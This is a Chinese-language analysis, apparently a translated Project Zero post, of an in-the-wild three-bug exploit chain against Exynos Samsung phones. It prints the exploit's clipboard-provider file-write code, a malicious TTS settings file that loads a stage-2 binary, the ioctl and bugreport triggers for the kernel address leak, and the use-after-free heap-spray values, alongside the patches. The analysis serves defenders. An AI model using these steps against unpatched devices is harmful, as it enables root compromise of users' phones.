注意:本文中讨论的三个漏洞均已三星在 2021 年 3 月的版本中修复。它们被修复命名为 CVE-2021-25337、CVE-2021-25369、CVE-2021-25370。为确保您的三星设备的版本是最新的,您可以检查您的设备是否为 SMR Mar-2021 或更高版本。
作为防御者,野外利用样本使我们能够深入了解真实攻击者的实际行为。我们获得了有关漏洞和漏洞利用技术的“基本事实”数据,然后这些数据会为我们的进一步研究提供指导,了解哪些因素可能会产生最大的影响或安全投资回报。为此,我们需要知道在野的漏洞和利用样本。在过去几年中,供应商在公开披露已知漏洞时取得了巨大进展:Adobe、Android、Apple、ARM、Chrome、Microsoft、Mozilla 和其他公司正在通过其安全性共享此信息发行说明。
虽然我们知道三星尚未将任何漏洞注释为野外漏洞,但三星已承诺在漏洞可能受到有限、有针对性的利用时公开分享,作为其版本说明的一部分。 所以我们希望,像三星一样,当有证据表明他们的产品中的漏洞正在被野被利用时,其他公司将与他们的行业同行一起披露。
漏洞利用示例
我们获得了三星设备的部分漏洞利用链,这些漏洞很可能是在测试阶段发现的。该样本来自 2020 年末。该攻击链值得进一步分析,因为它是一个 3 个漏洞利用组合链,其中所有 3 个漏洞都在三星自定义组件中,包括 Java 组件中的漏洞。
该样本使用了三个漏洞,均由三星于 2021 年 3 月修补:
-
通过剪贴板提供程序读取/写入任意文件 – CVE-2021-25337
-
通过sec_log泄漏内核信息– CVE-2021-25369
-
释放后使用显示处理单元 (DPU) 驱动程序 – CVE-2021-25370
该漏洞利用针对运行内核 4.14.113 和 Exynos SOC 的三星手机。三星手机运行两种类型的 SOC 中的一种,具体取决于它们的销售地点。例如,在美国、中国和其他一些国家/地区销售的三星手机使用高通 SOC,而在大多数其他地方(例如欧洲和非洲)销售的手机使用 Exynos SOC。漏洞利用样本依赖于特定于 Exynos 三星手机的 Mali GPU 驱动程序和 DPU 驱动程序。
在 2020 年末(发现此样本时)运行内核 4.14.113 的三星手机示例包括 S10、A50 和 A51。
获得的在野样本是一个 JNI 本机库文件,该文件将作为应用程序的一部分加载。不幸的是,我们没有获得与该库一起使用的应用程序。通过应用程序获取初始代码执行是我们今年在其他活动中看到的路径。我们在 6 月发布了对其中一项活动的详细分析。
漏洞 #1 – 任意文件系统读写
漏洞利用链使用 CVE-2021-25337 进行初始任意文件读写。该漏洞利用作为untrusted_app SELinux 上下文运行,但使用system_server SELinux 上下文打开它通常无法访问的文件。此错误是由于以系统用户身份运行的自定义三星剪贴板提供程序缺乏访问控制。
关于 Android 内容提供商
在 Android 中,Content Providers管理不同数据的存储和系统范围的访问。内容提供者将他们的数据组织为表格,其中的列代表收集的数据类型,而行代表每条数据。内容提供者需要实现六种抽象方法:query 、insert 、update 、delete 、getType和onCreate 。除了onCreate之外的所有这些方法都由客户端应用程序调用。
根据Android文档:
所有应用程序都可以读取或写入您的提供程序,即使底层数据是私有的,因为默认情况下您的提供程序没有设置权限。要更改此设置,请使用 <provider> 元素的属性或子元素在清单文件中为您的提供者设置权限。您可以设置适用于整个提供者、某些表、甚至某些记录或所有三者的权限。
漏洞
三星创建了一个在系统服务器中运行的自定义剪贴板内容提供程序。系统服务器是 Android 上的一个特权进程,它管理许多对设备运行至关重要的服务,例如 WifiService 和 TimeZoneDetectorService。系统服务器作为特权系统用户(UID 1000,AID_system )在system_server SELinux 上下文下运行。
三星向系统服务器添加了一个自定义剪贴板内容提供程序。此自定义剪贴板提供程序专门用于图像。在com.android.server.semclipboard.SemClipboardProvider类中,有以下变量:
DATABASE_NAME = ‘clipboardimage.db’
TABLE_NAME = ‘ClipboardImageTable’
URL = ‘content://com.sec.android.semclipboardprovider/images’
CREATE_TABLE = ” CREATE TABLE ClipboardImageTable (id INTEGER PRIMARY KEY AUTOINCREMENT, _data TEXT NOT NULL);”;
与生活在“普通”应用程序中的内容提供者不同,可以通过清单中的权限来限制访问,如上所述,系统服务器中的内容提供者负责在他们自己的代码中限制访问。系统服务器是固件映像上的单个 JAR (services.jar),没有任何权限进入的清单。因此由系统服务器中的代码进行自己的访问检查。
2022 年 11 月 10 日更新:系统服务器代码本身并不是一个应用程序。相反,它的代码存在于 JAR、services.jar 中。它的清单位于/system/framework/framework-res.apk中。在这种情况下,清单中 SemClipboardProvider 的条目是:
<provider android:name = “com.android.server.semclipboard.SemClipboardProvider” android:enabled = “true” android:exported = “true” android:multiprocess = “false” android:authorities = “com.sec.android.semclipboardprovider ” android:singleUser = “true” />
|
与“普通”应用程序定义的组件一样,系统服务器可以使用android:permission属性来控制对提供程序的访问,但它没有。由于不需要通过清单访问 SemClipboardProvider 的权限,因此任何访问控制都必须来自提供程序代码本身。感谢 Edward Cunningham 指出这一点!
ClipboardImageTable只为表定义了两列,如上所示:id和_data 。列名_data在 Android 内容提供程序中有特殊用途。它可以与openFileHelper方法一起使用以打开指定路径的文件。仅将表中行的 URI 传递给openFileHelper并返回存储在该行中的路径的ParcelFileDescriptor对象。然后ParcelFileDescriptor类提供getFd方法来获取返回的ParcelFileDescriptor的本机文件描述符 (fd) 。
public Uri insert(Uri uri, ContentValues values) {
long row = this.database.insert(TABLE_NAME, “”, values);
if (row > 0) {
Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
getContext().getContentResolver().notifyChange(newUri, null);
return newUri;
}
throw new SQLException(“Fail to add a new record into “ + uri);
}
|
上面的函数是com.android.server.semclipboard.SemClipboardProvider中易受攻击的insert()方法。此函数中不包含访问控制,因此任何应用程序,包括untrusted_app SELinux 上下文,都可以直接修改_data列。通过调用insert ,应用程序可以通过系统服务器打开通常无法自行打开的文件。
该漏洞利用来自设备上不受信任的应用程序的以下代码触发了该漏洞。此代码返回一个原始文件描述符。
ContentValues vals = new ContentValues();
vals.put(“_data”, “/data/system/users/0/newFile.bin”);
URI semclipboard_uri = URI.parse(“content://com.sec.android.semclipboardprovider”)
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, “w”).getFd();
|
让我们整理下发生了什么事情:
-
创建一个ContentValues对象。这包含调用者想要插入到提供者的数据库表中的键值对。键是列名,值是行条目。
-
设置 ContentValues 对象:键设置为“_data”,值设置为任意文件路径,由漏洞控制。
-
获取访问semclipboardprovider的 URI 。这是在SemClipboardProvider类中设置的。
-
获取允许应用访问 ContentProviders的ContentResolver对象。
-
使用我们的键值对在semclipboardprovider上调用insert 。
-
打开作为值传入的文件并返回原始文件描述符。openFileDescriptor调用内容提供者的openFile ,在这种情况下它只是调用openFileHelper 。
该漏洞利用将他们的下一阶段二进制文件写入目录/data/system/users/0/ 。删除的文件将具有users_system_data_file的 SELinux 上下文。普通untrusted_app无权打开或创建users_system_data_file文件,因此在这种情况下,他们通过可以打开users_system_data_file的system_server代理打开。虽然untrusted_app无法打开users_system_data_file ,但它可以读取和写入users_system_data_file 。一旦剪贴板内容提供程序打开文件并将 fd 传递给调用进程,调用进程现在就可以对其进行读取和写入。
该漏洞首先使用此 fd 将其下一阶段的 ELF 文件写入文件系统。第 2 阶段 ELF 的内容嵌入在原始样本中。
正如我们将在下面看到的,这个漏洞在整个链中被触发了 3 次。
修复漏洞
为了修复该漏洞,三星在SemClipboardProvider中添加了对函数的访问检查。insert方法现在检查调用进程的PID 是否为 UID 1000,这意味着它也已经以系统权限运行。
public Uri insert(Uri uri, ContentValues values) {
if (Binder.getCallingUid() != 1000) {
Log.e(TAG, “Fail to insert image clip uri. blocked the access of package : “ + getContext().getPackageManager().getNameForUid(Binder.getCallingUid()));
return null;
}
long row = this.database.insert(TABLE_NAME, “”, values);
if (row > 0) {
Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
getContext().getContentResolver().notifyChange(newUri, null);
return newUri;
}
throw new SQLException(“Fail to add a new record into “ + uri);
}
|
执行阶段 2 ELF
该漏洞利用现在已将其第 2 阶段二进制文件写入文件系统,但他们如何将其加载到当前应用程序沙箱之外?使用三星文本到语音应用程序 (SamsungTTS.apk)。
Samsung Text to Speech 应用程序 (com.samsung.SMT)是在 Samsung 设备上运行的预安装系统应用程序。它也作为系统 UID 运行,尽管作为特权稍低的 SELinux 上下文system_app而不是system_server 。至少存在一个先前公开的漏洞,该应用程序被用于获取作为 system 的代码执行。不过这次不同的是,该漏洞利用不需要另一个漏洞。相反,它重用剪贴板中的第 1 阶段漏洞在文件系统上任意写入文件。
旧版本的 SamsungTTS 应用程序将其引擎的文件路径存储在其设置文件中。当应用程序中的服务启动时,它会从设置文件中获取路径,并使用System.load API 将该文件路径加载为本机库。
该漏洞利用阶段 1 漏洞将其文件路径写入设置文件,然后启动服务,该服务将加载其阶段 2 可执行文件作为系统 UID 和system_app SELinux 上下文。
为此,该利用利用阶段 1 漏洞将以下内容写入两个不同的文件:/data/user_de/0/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml和/data/data/com.samsung.SMT /shared_prefs/SamsungTTSSettings.xml 。根据手机和应用程序的版本,SamsungTTS 应用程序对其设置文件使用这 2 个不同的路径。
<?xml version=‘1.0’ encoding=‘utf-8’ standalone=‘yes’ ?>
<map>
<string name=“eng-USA-Variant Info”>f00</string>n”
<string name=“SMT_STUBCHECK_STATUS”>STUB_SUCCESS</string>n”
<string name=“SMT_LATEST_INSTALLED_ENGINE_PATH”>/data/system/users/0/newFile.bin</string>n”
</map>
|
SMT_LATEST_INSTALLED_ENGINE_PATH是传递给System.load()的文件路径。为了启动系统加载过程,漏洞利用通过向应用程序发送两个意图来停止并重新启动SamsungTTSService 。SamsungTTSService然后启动加载,阶段 2 ELF 开始作为 system_app SELinux 上下文中的系统用户执行。
漏洞利用样本至少来自 2020 年 11 月。截至 2020 年 11 月,一些设备的 SamsungTTS 应用程序版本可以执行此任意文件加载,而其他设备则没有。应用程序版本 3.0.04.14 及之前的版本包括任意加载功能。似乎在 Android 10 (Q) 上发布的设备是使用更新版本的 SamsungTTS 应用程序发布的,该应用程序没有根据设置文件中的路径加载 ELF 文件。例如,2019 年底在 Android 10 上推出的 A51 设备推出了 SamsungTTS 应用程序的 3.0.08.18 版本,该应用程序不包含加载 ELF 的功能。
在 Android P 和更早版本上发布的手机似乎具有 3.0.08.18 之前的应用程序版本,该应用程序会在 2020 年 12 月之前加载可执行文件。例如,这款 A50 设备上的三星 TTS 应用程序在 2020 年 11 月的安全补丁级别为 3.0。03.22,它确实从设置文件中加载。
一旦通过System.load api 加载 ELF 文件,它就会开始执行。它包括两个额外的利用来获得作为 root 用户的内核读写权限。
漏洞 #2 – task_struct 和 sys_call_table 地址泄漏
一旦第二阶段 ELF 运行(并且作为系统),漏洞利用就会继续。该链使用的第二个漏洞(CVE-2021-25369)是一个信息泄露,用于泄露task_struct和sys_call_table的地址。泄露的sys_call_table地址用于击败 KASLR。addr_limit指针,稍后用于获得任意内核读写,是根据泄露的task_struct地址计算的。
该漏洞存在于自定义三星日志文件的访问权限中:/ data/log/ sec_log.log 。
该漏洞利用WARN_ON来泄露两个内核地址,从而破坏 ASLR 。WARN_ON仅用于检测到内核错误的情况,因为它将完整的回溯(包括堆栈跟踪和寄存器值)打印到内核日志缓冲区/dev/kmsg 。
oid __warn(const char *file, int line, void *caller, unsigned taint,
struct pt_regs *regs, struct warn_args *args)
{
disable_trace_on_warning();
pr_warn(“————[ cut here ]————n”);
if (file)
pr_warn(“WARNING: CPU: %d PID: %d at %s:%d %pSn”,
raw_smp_processor_id(), current->pid, file, line,
caller);
else
pr_warn(“WARNING: CPU: %d PID: %d at %pSn”,
raw_smp_processor_id(), current->pid, caller);
if (args)
vprintk(args->fmt, args->args);
if (panic_on_warn) {
/*
* This thread may hit another WARN() in the panic path.
* Resetting this prevents additional WARN() from panicking the
* system on this thread. Other threads are blocked by the
* panic_mutex in panic().
*/
panic_on_warn = 0;
panic(“panic_on_warn set …n”);
}
print_modules();
dump_stack();
print_oops_end_marker();
/* Just a warning, don’t kill lockdep. */
add_taint(taint, LOCKDEP_STILL_OK);
}
|
在 Android 上,从kmsg 读取的能力仅限于特权用户和上下文。虽然kmsg可以被system_server读取,但它不能从system_app上下文中读取,这意味着它不能被漏洞利用程序读取。
a51:/ $ ls -alZ /dev/kmsg
crw–rw—- 1 root system u:object_r:kmsg_device:s0 1, 11 2022–10–27 21:48 /dev/kmsg
$ sesearch –A –s system_server –t kmsg_device –p read precompiled_sepolicy
allow domain dev_type:lnk_file { getattr ioctl lock map open read };
allow system_server kmsg_device:chr_file { append getattr ioctl lock map open read write };
|
然而,三星添加了一个自定义日志记录功能,将kmsg复制到sec_log 。sec_log 是位于/data/log /sec_log.log的文件。
该漏洞触发的WARN_ON位于 ARM 提供的 Mali GPU 图形驱动程序中。ARM在 2020 年 2 月发布的 BX304L01B-SW-99002-r21p0-01rel1 中将 WARN_ON替换为对更合适的帮助程序 pr_warn的调用。但是,截至 2021 年 1 月,A51 (SM-A515F) 和 A50 (SM-A505F) 仍使用易受攻击的驱动程序 (r19p0) 版本。
/**
* kbasep_vinstr_hwcnt_reader_ioctl() – hwcnt reader’s ioctl.
* @filp: Non-NULL pointer to file structure.
* @cmd: User command.
* @arg: Command’s argument.
*
* Return: 0 on success, else error code.
*/
static long kbasep_vinstr_hwcnt_reader_ioctl(
struct file *filp,
unsigned int cmd,
unsigned long arg)
{
long rcode;
struct kbase_vinstr_client *cli;
if (!filp || (_IOC_TYPE(cmd) != KBASE_HWCNT_READER))
return –EINVAL;
cli = filp->private_data;
if (!cli)
return –EINVAL;
switch (cmd) {
case KBASE_HWCNT_READER_GET_API_VERSION:
rcode = put_user(HWCNT_READER_API, (u32 __user *)arg);
break;
case KBASE_HWCNT_READER_GET_HWVER:
rcode = kbasep_vinstr_hwcnt_reader_ioctl_get_hwver(
cli, (u32 __user *)arg);
break;
case KBASE_HWCNT_READER_GET_BUFFER_SIZE:
rcode = put_user(
(u32)cli->vctx->metadata->dump_buf_bytes,
(u32 __user *)arg);
break;
[…]
default:
WARN_ON(true);
rcode = –EINVAL;
break;
}
return rcode;
}
|
具体来说,WARN_ON在函数kbase_vinstr_hwcnt_reader_ioctl中。要触发,exploit 只需要为 HWCNT 驱动程序调用一个无效的 ioctl 号,WARN_ON就会被命中。该漏洞利用进行了两次 ioctl 调用:第一次是 Mali 驱动程序的HWCNT_READER_SETUP ioctl 以初始化 hwcnt 驱动程序并能够调用 ioctl,然后调用具有无效 ioctl 编号的 hwcnt ioctl 目标:0xFE。
hwcnt_fd = ioctl ( dev_mali_fd , 0x40148008 , & v4 );
ioctl ( hwcnt_fd , 0x4004BEFE , 0 );
|
为了触发漏洞,exploit 向 HWCNT 驱动程序发送了几次无效的 ioctl,然后通过调用以下命令触发错误报告:
setprop dumpstate.options bugreportfull;
setprop ctl.start bugreport;
|
在 Android 中,属性ctl.start启动一个在init中定义的服务。在目标三星设备上,谁有权访问ctl.start属性的 SELinux 策略比 AOSP 的策略宽松得多。最值得注意的是,在这个漏洞利用案例中,system_app有权设置ctl_start并因此启动错误报告。
allow at_distributor ctl_start_prop:file { getattr map open read };
allow at_distributor ctl_start_prop:property_service set;
allow bootchecker ctl_start_prop:file { getattr map open read };
allow bootchecker ctl_start_prop:property_service set;
allow dumpstate property_type:file { getattr map open read };
allow hal_keymaster_default ctl_start_prop:file { getattr map open read };
allow hal_keymaster_default ctl_start_prop:property_service set;
allow ikev2_client ctl_start_prop:file { getattr map open read };
allow ikev2_client ctl_start_prop:property_service set;
allow init property_type:file { append create getattr map open read relabelto rename setattr unlink write };
allow init property_type:property_service set;
allow keystore ctl_start_prop:file { getattr map open read };
allow keystore ctl_start_prop:property_service set;
allow mediadrmserver ctl_start_prop:file { getattr map open read };
allow mediadrmserver ctl_start_prop:property_service set;
allow multiclientd ctl_start_prop:file { getattr map open read };
allow multiclientd ctl_start_prop:property_service set;
allow radio ctl_start_prop:file { getattr map open read };
allow radio ctl_start_prop:property_service set;
allow shell ctl_start_prop:file { getattr map open read };
allow shell ctl_start_prop:property_service set;
allow surfaceflinger ctl_start_prop:file { getattr map open read };
allow surfaceflinger ctl_start_prop:property_service set;
allow system_app ctl_start_prop:file { getattr map open read };
allow system_app ctl_start_prop:property_service set;
allow system_server ctl_start_prop:file { getattr map open read };
allow system_server ctl_start_prop:property_service set;
allow vold ctl_start_prop:file { getattr map open read };
allow vold ctl_start_prop:property_service set;
allow wlandutservice ctl_start_prop:file { getattr map open read };
allow wlandutservice ctl_start_prop:property_service set;
|
错误报告服务在/system/etc/init/dumpstate.rc中定义:
service bugreport /system/bin/dumpstate –d –p –B –z
–o /data/user_de/0/com.android.shell/files/bugreports/bugreport
class main
disabled
oneshot
|
dumpstate.rc中的错误报告服务是三星特定的定制。dumpstate.rc的AOSP 版本不包含此服务。
然后,三星版本的dumpstate ( /system/bin/dumpstate ) 二进制文件将/proc/sec_l og 中的所有内容复制到/data/log/sec_l og.log ,如下面的伪代码所示。这是dumpstate二进制文件中dumpstate()函数的前几行。dump_sec_log (包含在二进制文件中的符号)函数将所有内容从参数 2 中提供的路径复制到参数 3 中提供的路径。
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
LOBYTE(s) = 18;
v650[0] = 0LL;
s_8 = 17664LL;
*(char **)((char *)&s + 1) = *(char **)“DUMPSTATE”;
DurationReporter::DurationReporter(v636, (__int64)&s, 0);
if ( ((unsigned __int8)s & 1) != 0 )
operator delete(v650[0]);
dump_sec_log(“SEC LOG”, “/proc/sec_log”, “/data/log/sec_log.log”);
|
启动bugreport服务后,漏洞利用使用inotify监视/data/log/目录中的IN_CLOSE_WRITE事件。IN_CLOSE_WRITE在打开用于写入的文件关闭时触发。因此,当dumpstate完成写入sec_log.log时,将发生此监视。
按下WARN_ON语句后生成的sec_log.log文件内容示例如下所示。该漏洞利用梳理文件内容,查找堆栈上位于地址*b60和*bc0的两个值:task_struct和sys_call_table地址。
<4>[90808.635627] [4: poc:25943] ————[ cut here ]————
<4>[90808.635654] [4: poc:25943] WARNING: CPU: 4 PID: 25943 at drivers/gpu/arm/b_r19p0/mali_kbase_vinstr.c:992 kbasep_vinstr_hwcnt_reader_ioctl+0x36c/0x664
<4>[90808.635663] [4: poc:25943] Modules linked in:
<4>[90808.635675] [4: poc:25943] CPU: 4 PID: 25943 Comm: poc Tainted: G W 4.14.113-20034833 #1
<4>[90808.635682] [4: poc:25943] Hardware name: Samsung BEYOND1LTE EUR OPEN 26 board based on EXYNOS9820 (DT)
<4>[90808.635689] [4: poc:25943] Call trace:
<4>[90808.635701] [4: poc:25943] [<0000000000000000>] dump_backtrace+0x0/0x280
<4>[90808.635710] [4: poc:25943] [<0000000000000000>] show_stack+0x18/0x24
<4>[90808.635720] [4: poc:25943] [<0000000000000000>] dump_stack+0xa8/0xe4
<4>[90808.635731] [4: poc:25943] [<0000000000000000>] __warn+0xbc/0x164tv
<4>[90808.635738] [4: poc:25943] [<0000000000000000>] report_bug+0x15c/0x19c
<4>[90808.635746] [4: poc:25943] [<0000000000000000>] bug_handler+0x30/0x8c
<4>[90808.635753] [4: poc:25943] [<0000000000000000>] brk_handler+0x94/0x150
<4>[90808.635760] [4: poc:25943] [<0000000000000000>] do_debug_exception+0xc8/0x164
<4>[90808.635766] [4: poc:25943] Exception stack(0xffffff8014c2bb40 to 0xffffff8014c2bc80)
<4>[90808.635775] [4: poc:25943] bb40: ffffffc91b00fa40 000000004004befe 0000000000000000 0000000000000000
<4>[90808.635781] [4: poc:25943] bb60: ffffffc061b65800 000000000ecc0408 000000000000000a 000000000000000a
<4>[90808.635789] [4: poc:25943] bb80: 000000004004be30 000000000000be00 ffffffc86b49d700 000000000000000b
<4>[90808.635796] [4: poc:25943] bba0: ffffff8014c2bdd0 0000000080000000 0000000000000026 0000000000000026
<4>[90808.635802] [4: poc:25943] bbc0: ffffff8008429834 000000000041bd50 0000000000000000 0000000000000000
<4>[90808.635809] [4: poc:25943] bbe0: ffffffc88b42d500 ffffffffffffffea ffffffc96bda5bc0 0000000000000004
<4>[90808.635816] [4: poc:25943] bc00: 0000000000000000 0000000000000124 000000000000001d ffffff8009293000
<4>[90808.635823] [4: poc:25943] bc20: ffffffc89bb6b180 ffffff8014c2bdf0 ffffff80084294bc ffffff8014c2bd80
<4>[90808.635829] [4: poc:25943] bc40: ffffff800885014c 0000000020400145 0000000000000008 0000000000000008
<4>[90808.635836] [4: poc:25943] bc60: 0000007fffffffff 0000000000000001 ffffff8014c2bdf0 ffffff800885014c
<4>[90808.635843] [4: poc:25943] [<0000000000000000>] el1_dbg+0x18/0x74
|
文件/data/log/sec_log.log具有 SELinux 上下文dumplog_data_file ,许多应用程序都可以广泛访问该文件,如下所示。该漏洞利用当前在作为 system_app SELinux 上下文的SamsungTTS应用程序中运行。虽然由于 SELinux 访问控制,该漏洞无法访问/dev/kmsg ,但当它们被复制到具有更多权限的sec_log.log时,它可以访问相同的内容。
$ sesearch –A –t dumplog_data_file –c file –p open precompiled_sepolicy | grep _app
allow aasa_service_app dumplog_data_file:file { getattr ioctl lock map open read };
allow dualdar_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow platform_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow priv_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow system_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow teed_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow vzwfiltered_untrusted_app dumplog_data_file:file { getattr ioctl lock map open read };
|
修复漏洞
有一些不同的方式来解决此漏洞:
此外,在 2020 年初进行了一些更改,这些更改包括在内时将防止将来出现此漏洞:
漏洞 #3 – 任意内核读写
链中的最后一个漏洞 (CVE-2021-25370) 是用于显示处理单元 (DPU) 的显示和增强控制器 (DECON) 三星驱动程序中文件结构的释放后使用。根据上游提交消息,DECON 负责从像素数据创建视频信号。此漏洞用于获得任意内核读写访问权限。
找到android.hardware.graphics.composer的PID
为了能够触发漏洞,exploit 需要驱动程序的 fd 才能发送 ioctl 调用。要找到 fd,exploit 必须遍历目标进程的 fd proc目录。因此漏洞利用首先需要找到图形进程的PID。
该漏洞利用连接到侦听/dev/socket/logdr的 LogReader 。当客户端连接到 LogReader 时,LogReader 将日志内容写回客户端。然后,exploit 将 LogReader 配置为通过套接字写回 LogReader 来向其发送主日志缓冲区 (0)、系统日志缓冲区 (3) 和崩溃日志缓冲区 (4) 的日志:
该漏洞然后监视日志内容,直到它看到“显示”或“SDM”字样。一旦找到“显示”或“SDM”日志条目,漏洞利用就会从该日志条目中读取 PID。
现在它有了 android.hardware.graphics.composer 的 PID,其中android.hardware.graphics composer 是 Hardware Composer HAL。
接下来,漏洞利用需要找到 DECON 驱动程序的完整文件路径。完整的文件路径可以存在于文件系统上的几个不同位置,因此要找到它在该设备上的哪个位置,该漏洞利用会遍历/proc/<PID>/fd/目录以查找包含“ graphics/ ”的任何文件路径fb0 ”,DECON 驱动程序。它使用readlink来查找每个/proc/<PID>/fd/<fd>的文件路径。然后使用semclipboard漏洞(漏洞 #1)获取 DECON 驱动程序路径的原始文件描述符。
触发释放后使用
该漏洞位于三星 DECON 驱动程序中的decon_set_win_config函数中。该漏洞是内核驱动程序中相对常见的 use-after-free 模式。首先,驱动程序获取栅栏的 fd。此 fd 与sync_file结构中的文件指针相关联,特别是文件成员。“栅栏”用于共享缓冲区并在驱动程序和不同进程之间同步访问。
/**
* struct sync_file – sync file to export to the userspace
* @file: file representing this fence
* @sync_file_list: membership in global file list
* @wq: wait queue for fence signaling
* @fence: fence with the fences in the sync_file
* @cb: fence callback information
*/
struct sync_file {
struct file *file;
/**
* @user_name:
*
* Name of the sync file provided by userspace, for merged fences.
* Otherwise generated through driver callbacks (in which case the
* entire array is 0).
*/
char user_name[32];
#ifdef CONFIG_DEBUG_FS
struct list_head sync_file_list;
#endif
wait_queue_head_t wq;
unsigned long flags;
struct dma_fence *fence;
struct dma_fence_cb cb;
};
|
然后驱动程序在 fd 和文件指针上调用fd_install ,这使得 fd 可以从用户空间访问并将引用的所有权转移到 fd 表。用户空间能够在该 fd 上调用close 。如果该 fd 拥有对文件结构的唯一引用,则文件结构被释放。但是,驱动程序继续使用指向该已释放文件结构的指针。
static int decon_set_win_config(struct decon_device *decon,
struct decon_win_config_data *win_data)
{
int num_of_window = 0;
struct decon_reg_data *regs;
struct sync_file *sync_file;
int i, j, ret = 0;
[…]
num_of_window = decon_get_active_win_count(decon, win_data);
if (num_of_window) {
win_data->retire_fence = decon_create_fence(decon, &sync_file);
if (win_data->retire_fence < 0)
goto err_prepare;
} else {
[…]
if (num_of_window) {
fd_install(win_data->retire_fence, sync_file->file);
decon_create_release_fences(decon, win_data, sync_file);
#if !defined(CONFIG_SUPPORT_LEGACY_FENCE)
regs->retire_fence = dma_fence_get(sync_file->fence);
#endif
}
[…]
return ret;
}
|
在这种情况下,decon_set_win_config在decon_create_fence中获取 retire_fence 的fd 。
int decon_create_fence(struct decon_device *decon, struct sync_file **sync_file)
{
struct dma_fence *fence;
int fd = –EMFILE;
fence = kzalloc(sizeof(*fence), GFP_KERNEL);
if (!fence)
return –ENOMEM;
dma_fence_init(fence, &decon_fence_ops, &decon->fence.lock,
decon->fence.context,
atomic_inc_return(&decon->fence.timeline));
*sync_file = sync_file_create(fence);
dma_fence_put(fence);
if (!(*sync_file)) {
decon_err(“%s: failed to create sync filen”, __func__);
return –ENOMEM;
}
fd = decon_get_valid_fd();
if (fd < 0) {
decon_err(“%s: failed to get unused fdn”, __func__);
fput((*sync_file)->file);
}
return fd;
}
|
然后该函数调用fd_install(win_data->retire_fence, sync_file->file)这意味着用户空间现在可以访问 fd。当调用 fd_install时,不会对文件进行另一个引用,因此当用户空间调用close(fd)时,文件上的唯一引用被删除并且文件结构被释放。问题在于,在调用fd_install之后,该函数会使用包含指向已释放文件结构的指针 的相同sync_file调用decon_create_release_fences(decon, win_data, sync_file) 。
int decon_create_fence(struct decon_device *decon, struct sync_file **sync_file)
{
struct dma_fence *fence;
int fd = –EMFILE;
fence = kzalloc(sizeof(*fence), GFP_KERNEL);
if (!fence)
return –ENOMEM;
dma_fence_init(fence, &decon_fence_ops, &decon->fence.lock,
decon->fence.context,
atomic_inc_return(&decon->fence.timeline));
*sync_file = sync_file_create(fence);
dma_fence_put(fence);
if (!(*sync_file)) {
decon_err(“%s: failed to create sync filen”, __func__);
return –ENOMEM;
}
fd = decon_get_valid_fd();
if (fd < 0) {
decon_err(“%s: failed to get unused fdn”, __func__);
fput((*sync_file)->file);
}
return fd;
}
|
decon_create_release_fences获得一个新 fd,然后在调用fd_install时将该新 fd 与释放的文件结构sync_file->file相关联。
当decon_set_win_config返回时,retire_fence是指向已释放文件结构的关闭 fd,而rel_fence是指向已释放文件结构的打开 fd。
修复漏洞
三星在 2021 年 3 月将这种免费使用后修复为 CVE-2021-25370。修复方法是将 decon_set_win_config 中对 fd_install 的调用移动到调用decon_create_release_fences后函数中的最新可能点。
if (num_of_window) {
– fd_install(win_data->retire_fence, sync_file->file);
decon_create_release_fences(decon, win_data, sync_file);
#if !defined(CONFIG_SUPPORT_LEGACY_FENCE)
regs->retire_fence = dma_fence_get(sync_file->fence);
#endif
}
decon_hiber_block(decon);
mutex_lock(&decon->up.lock);
list_add_tail(®s->list, &decon->up.list);
+ atomic_inc(&decon->up.remaining_frame);
decon->update_regs_list_cnt++;
+ win_data->extra.remained_frames = atomic_read(&decon->up.remaining_frame);
mutex_unlock(&decon->up.lock);
kthread_queue_work(&decon->up.worker, &decon->up.work);
+ /*
+ * The code is moved here because the DPU driver may get a wrong fd
+ * through the released file pointer,
+ * if the user(HWC) closes the fd and releases the file pointer.
+ *
+ * Since the user land can use fd from this point/time,
+ * it can be guaranteed to use an unreleased file pointer
+ * when creating a rel_fence in decon_create_release_fences(…)
+ */
+ if (num_of_window)
+ fd_install(win_data->retire_fence, sync_file->file);
mutex_unlock(&decon->lock);
|
堆修饰和Spray
为了整理堆,漏洞利用首先使用memfd_create打开和关闭 30,000 多个文件。然后,该漏洞利用伪造的文件结构喷洒堆。在这个版本的三星内核上,文件结构是 0x140 字节。在这些新的伪造文件结构中,漏洞利用设置了四个成员:
fake_file.f_u = 0x1010101;
fake_file.f_op = kaddr – 0x2071B0+0x1094E80;
fake_file.f_count = 0x7F;
fake_file.private_data = addr_limit_ptr;
|
f_op成员设置为signalfd_op ,原因我们将在下面的“覆盖 addr_limit”部分中介绍。kaddr是使用前面描述的漏洞 #2 泄露的地址。addr_limit_ptr是通过将 8 加到同样使用漏洞 #2 泄露的task_struct地址来计算的。
该漏洞利用 Mali 驱动程序中的MEM_PROFILE_ADD ioctl 在 堆中喷射 25 个这些结构。
/**
* struct kbase_ioctl_mem_profile_add – Provide profiling information to kernel
* @buffer: Pointer to the information
* @len: Length
* @padding: Padding
*
* The data provided is accessible through a debugfs file
*/
struct kbase_ioctl_mem_profile_add {
__u64 buffer;
__u32 len;
__u32 padding;
};
#define KBASE_ioctl_MEM_PROFILE_ADD
_IOW(KBASE_ioctl_TYPE, 27, struct kbase_ioctl_mem_profile_add)
static int kbase_api_mem_profile_add(struct kbase_context *kctx,
struct kbase_ioctl_mem_profile_add *data)
{
char *buf;
int err;
if (data->len > KBASE_MEM_PROFILE_MAX_BUF_SIZE) {
dev_err(kctx->kbdev->dev, “mem_profile_add: buffer too bign”);
return –EINVAL;
}
buf = kmalloc(data->len, GFP_KERNEL);
if (ZERO_OR_NULL_PTR(buf))
return –ENOMEM;
err = copy_from_user(buf, u64_to_user_ptr(data->buffer),
data->len);
if (err) {
kfree(buf);
return –EFAULT;
}
return kbasep_mem_profile_debugfs_insert(kctx, buf, data->len);
}
|
